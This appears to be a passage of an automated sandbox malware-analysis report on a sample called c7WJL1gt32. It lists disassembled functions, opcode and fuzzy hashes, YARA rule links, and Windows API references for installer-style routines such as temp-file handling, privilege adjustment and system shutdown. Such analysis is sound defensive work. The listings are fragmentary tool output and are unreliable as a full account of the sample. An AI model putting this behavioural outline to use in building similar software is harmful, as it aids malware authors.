Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ab3a2e03aae4c4314a8554a4ee7a52823116b669bae49479a8d0f64635c621c
Instruction ID: a7f65e45bf9113767d2caed4b5bac24bc8dbe12a1f3f6f862788622bb8d5c973
Opcode Fuzzy Hash: 5ab3a2e03aae4c4314a8554a4ee7a52823116b669bae49479a8d0f64635c621c
Instruction Fuzzy Hash: A7F0556038820027E215662D5490BBB6AAE8FC23E4F01443AF505CB384DE94DC4587F2

Function 38319608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 054794216dd3501fca8eac2e5fb9bccf42995ab1af05dbcf60197d8c50702ec2
Instruction ID: df527d41032ac58fad8be1c3744f7be4360172bb336bfe182d19075d4325aa72
Opcode Fuzzy Hash: 054794216dd3501fca8eac2e5fb9bccf42995ab1af05dbcf60197d8c50702ec2
Instruction Fuzzy Hash: 09F0202038020027E2083AAD499577BBA7E9FC2799F018436E205C7758CEA8DC4503F2

Function 00159EF6 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9fd6afbcb5828346a82c089bfbc9137f51634ca9dff74ed045c9ef063690ae8
Instruction ID: 683cae1e9640955c34d62d0f7f2153966907f94dae98b91232c4ea0269e93158
Opcode Fuzzy Hash: c9fd6afbcb5828346a82c089bfbc9137f51634ca9dff74ed045c9ef063690ae8
Instruction Fuzzy Hash: 4701D136608244DFCB159F64DC80BC8BF71BF8A324F180296E9219B2E2C7309814CB10

Function 0015B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667992310b64a75c3281aaebd24d7b5c0f8c6bdac8fdd21348a2833131b4a5bf
Instruction ID: ef826f91e92d198b37dd33ee434b38f450d90ea4336e47f475de6768620fc78f
Opcode Fuzzy Hash: 667992310b64a75c3281aaebd24d7b5c0f8c6bdac8fdd21348a2833131b4a5bf
Instruction Fuzzy Hash: ADF0F834419F428FE3012B30ACBC2AA7FB0FF0B3137856D95E04AC6072DB694449CB11

Function 0015B168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8501d8ae83cd0dfd13fbcef6ca59d29f44a97c70687c9d9b53e4aea1092239dc
Instruction ID: ae98d7d647a0c04cc2245238860f163d7e4d87c9757a8e555e65cb27687c042f
Opcode Fuzzy Hash: 8501d8ae83cd0dfd13fbcef6ca59d29f44a97c70687c9d9b53e4aea1092239dc
Instruction Fuzzy Hash: 76E00935466F06DBE2442B74BCBC27A7AB5FB0F327B846D00A45E864319B7854988A54

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f628736c0d182ceed749ee7662eebf7c73b382ce9f46e84a9450d104483220e
Instruction ID: e8570b5b487a548a546aa3ce7e64c8b2d8afed1b0434134cfb7ad8bb6c9f4880
Opcode Fuzzy Hash: 0f628736c0d182ceed749ee7662eebf7c73b382ce9f46e84a9450d104483220e
Instruction Fuzzy Hash: BBE01274D05208DFD744DFB9E54969DBBF5EB49301F6091B9D818A3350EB305E46DB40

Function 0015187F Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e1f51aea285306980d020071873749f7fc01c581744a72fb9447cc9838c2af6
Instruction ID: c91394aece2ee4fe0af574f793110baddb00c76916f1f93d5fe8f4cb5b283a6f
Opcode Fuzzy Hash: 7e1f51aea285306980d020071873749f7fc01c581744a72fb9447cc9838c2af6
Instruction Fuzzy Hash: 23E0CD35D1022745CB119BB4D8444EEFB34EED2310B454267D11477054EB30159DC7A0

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5822c0c75b8fcfa3cf8f78addbef37413d99a11d6923201dad87c1f0810cb238
Instruction ID: f4ad74a97bf9ab54e41a911c88b5c0185c5ebc42f9a76bdc277d2c17e74f6bbf
Opcode Fuzzy Hash: 5822c0c75b8fcfa3cf8f78addbef37413d99a11d6923201dad87c1f0810cb238
Instruction Fuzzy Hash: 69D02B31D2022B43CB00E7A1DC004DFF738EEC2220B404223D51037000FB302698C2E0

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da63bf5bd546bd23d0c460e34860742bac50a59b4f570a07436a40a977c893a7
Instruction ID: aee344025c793c04ff2d3108b8bc21c1a8fc8f9953ce871963967a3147050f80
Opcode Fuzzy Hash: da63bf5bd546bd23d0c460e34860742bac50a59b4f570a07436a40a977c893a7
Instruction Fuzzy Hash: 27E08C354893884FCB12A734ECA45D97B23AB81208F044669E4090B6ABDA784A8B8B61

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 3831D093 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b367a33556b1aa3a7ae6b6e8c421e7418b5f59eace6e88e291fae1b0f415b0e0
Instruction ID: 6c5f41d81c5765b25523ba7f8b87fcd130a4da96517d777df7cd4923b841146c
Opcode Fuzzy Hash: b367a33556b1aa3a7ae6b6e8c421e7418b5f59eace6e88e291fae1b0f415b0e0
Instruction Fuzzy Hash: 15D05B2215E5E01FC71792286C54C99AFB548C752034946EBE068C71B597490A4E8396

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29059ef8892edbc050e8012ed9f6bed607c1b47d4d1c6d3f9f92cc28d8bfa142
Instruction ID: b33808f1c184a331f20a667c8890a935d90cd17d50f1231bd2586958cb30cbe1
Opcode Fuzzy Hash: 29059ef8892edbc050e8012ed9f6bed607c1b47d4d1c6d3f9f92cc28d8bfa142
Instruction Fuzzy Hash: 43D0673AB40018DFCB149F99EC809DDF7B6FB98221B148116E915A3261C7319965DB64

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5a194d966f78ef9746c247566987f8b2388ddeabc9ea6c7d12a9b8dd8193d7
Instruction ID: 537dcf39c6c571d7af8318207f32ab40b8fdd45d84de0f307f0b05d198d7b035
Opcode Fuzzy Hash: bf5a194d966f78ef9746c247566987f8b2388ddeabc9ea6c7d12a9b8dd8193d7
Instruction Fuzzy Hash: 17D0A930815208EBC340DBA4E809AA9B778A703302F0010A8A808232108BB00E00C685

Function 383195D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed64a8a850e16b5ae9c28f51d38d9dfffcfeb9894a626af35a35dbf20ed25bd9
Instruction ID: c4858e4f2104acd1ad53fca291a215cac47d5049709a40c683b30b8b4a6d6f92
Opcode Fuzzy Hash: ed64a8a850e16b5ae9c28f51d38d9dfffcfeb9894a626af35a35dbf20ed25bd9
Instruction Fuzzy Hash: D7C08032245610175618B71CB49449ED755CDC5B21755CD37F015C331C4D549E8F41D5

Function 3831BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dd03d65325ff51ce90063b49ea300d63efaab7684bbb57e361b77c0e3dc1ac0
Instruction ID: 5d39673ff3dda1f1c15574d7a59b021d78d5ac07401d87da6385cf86c827af8b
Opcode Fuzzy Hash: 4dd03d65325ff51ce90063b49ea300d63efaab7684bbb57e361b77c0e3dc1ac0
Instruction Fuzzy Hash: B8C08C74041E0A8BE2082FA0BC0CB79B7B8B707313FC82D10F00C028308BB84414C644

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bd4da4ca03a22f32e64dba5b06d1ee0c006189b65dffc29a1f34a77f02d2ea7
Instruction ID: d0799337c0d1436da290dbcb5fdb69ae11b9abef3b67e3f9b9f5e48a608bc981
Opcode Fuzzy Hash: 0bd4da4ca03a22f32e64dba5b06d1ee0c006189b65dffc29a1f34a77f02d2ea7
Instruction Fuzzy Hash: 8BC012304853084FC605F769DD45569772BA7C07047449520A1090667FDFB49DDF4AD0

Function 383194B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab60b495091687265f8073e9158fc67aadf64579fe35d2c9d2dd495d5550b55
Instruction ID: d18e95ca5c0e5bf7e5c4c29591dba077ab812ab6cf9f64c8501eeae98ee8c37f
Opcode Fuzzy Hash: 2ab60b495091687265f8073e9158fc67aadf64579fe35d2c9d2dd495d5550b55
Instruction Fuzzy Hash: B3C08C302AC2048FE200AB1DC984A5173ACEF85B04F0058E1F1088B739CA22FC004604

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,?,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,?,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,?,00435000,00000000,?,00000006,?,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,?,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,?,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,?,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,?,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,?,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,?,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,?,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,?,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,?,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,?,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?,?,00000006,?,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,00000001,?,00000006,?,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,?,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(?,0000000A,00000006,?,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Low, xrefs: 0040371B
.tmp, xrefs: 00403861
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
TMP, xrefs: 00403735
~nsu, xrefs: 00403845
NSIS Error, xrefs: 00403567
SeShutdownPrivilege, xrefs: 0040396F
TEMP, xrefs: 0040372D
\Temp, xrefs: 004036FF
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error launching installer, xrefs: 004037D0

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(?,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,?,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,?), ref: 00404FFD
SetWindowLongW.USER32(?,?,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,?,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,?), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
M, xrefs: 00404F76
N, xrefs: 00405057

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 3831AFF8 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

LjNp, xrefs: 3831B2AB
LjNp, xrefs: 3831B590
PHkq, xrefs: 3831B331
PHkq, xrefs: 3831B62D
LjNp, xrefs: 3831B5A6
LjNp, xrefs: 3831B4AE
PHkq, xrefs: 3831B619
LjNp, xrefs: 3831B3A3
PHkq, xrefs: 3831B51E
PHkq, xrefs: 3831B43D
PHkq, xrefs: 3831B429
LjNp, xrefs: 3831B498
PHkq, xrefs: 3831B532
PHkq, xrefs: 3831B345
", xrefs: 3831B7CE
LjNp, xrefs: 3831B3B9
LjNp, xrefs: 3831B2C1
0oNp, xrefs: 3831B147

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: "$0oNp$LjNp$LjNp$LjNp$LjNp$LjNp$LjNp$LjNp$LjNp$PHkq$PHkq$PHkq$PHkq$PHkq$PHkq$PHkq$PHkq
API String ID: 0-79368051
Opcode ID: 14421ecf1fa3a025b9d2d93030f4ba6d6bbabdbae76e7456feeb1c8d93c4fbec
Instruction ID: e969f8176e8cfff69cb948001b303b9d3ace9a61a87a4c03fd6b9c2c0f3e1fb6
Opcode Fuzzy Hash: 14421ecf1fa3a025b9d2d93030f4ba6d6bbabdbae76e7456feeb1c8d93c4fbec
Instruction Fuzzy Hash: 36328F74E40218CFDB68DF69C984B9DBBB2BF89300F1080A9D909A7365DB759E85CF10

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,74DF2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,74DF2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 3831AFF7 Relevance: 12.9, Strings: 10, Instructions: 359COMMON

Download Yara Rule

Strings

PHkq, xrefs: 3831B619
PHkq, xrefs: 3831B51E
PHkq, xrefs: 3831B43D
PHkq, xrefs: 3831B429
PHkq, xrefs: 3831B532
PHkq, xrefs: 3831B331
PHkq, xrefs: 3831B62D
PHkq, xrefs: 3831B345
", xrefs: 3831B7CE
0oNp, xrefs: 3831B147

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: "$0oNp$PHkq$PHkq$PHkq$PHkq$PHkq$PHkq$PHkq$PHkq
API String ID: 0-888174444
Opcode ID: d91e5e43b7ab400a9204c83c24e86259f1065c71e080991e2297ffc7944f7083
Instruction ID: e2a83ecf398de57a810f8ac7ae99e8984e8a9391230d4151df0b767d1aba36b0
Opcode Fuzzy Hash: d91e5e43b7ab400a9204c83c24e86259f1065c71e080991e2297ffc7944f7083
Instruction Fuzzy Hash: 350291B4E402188FDB58DF69C984BDDBBB2BF89300F1081A9D909A7365DB359E85CF14

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
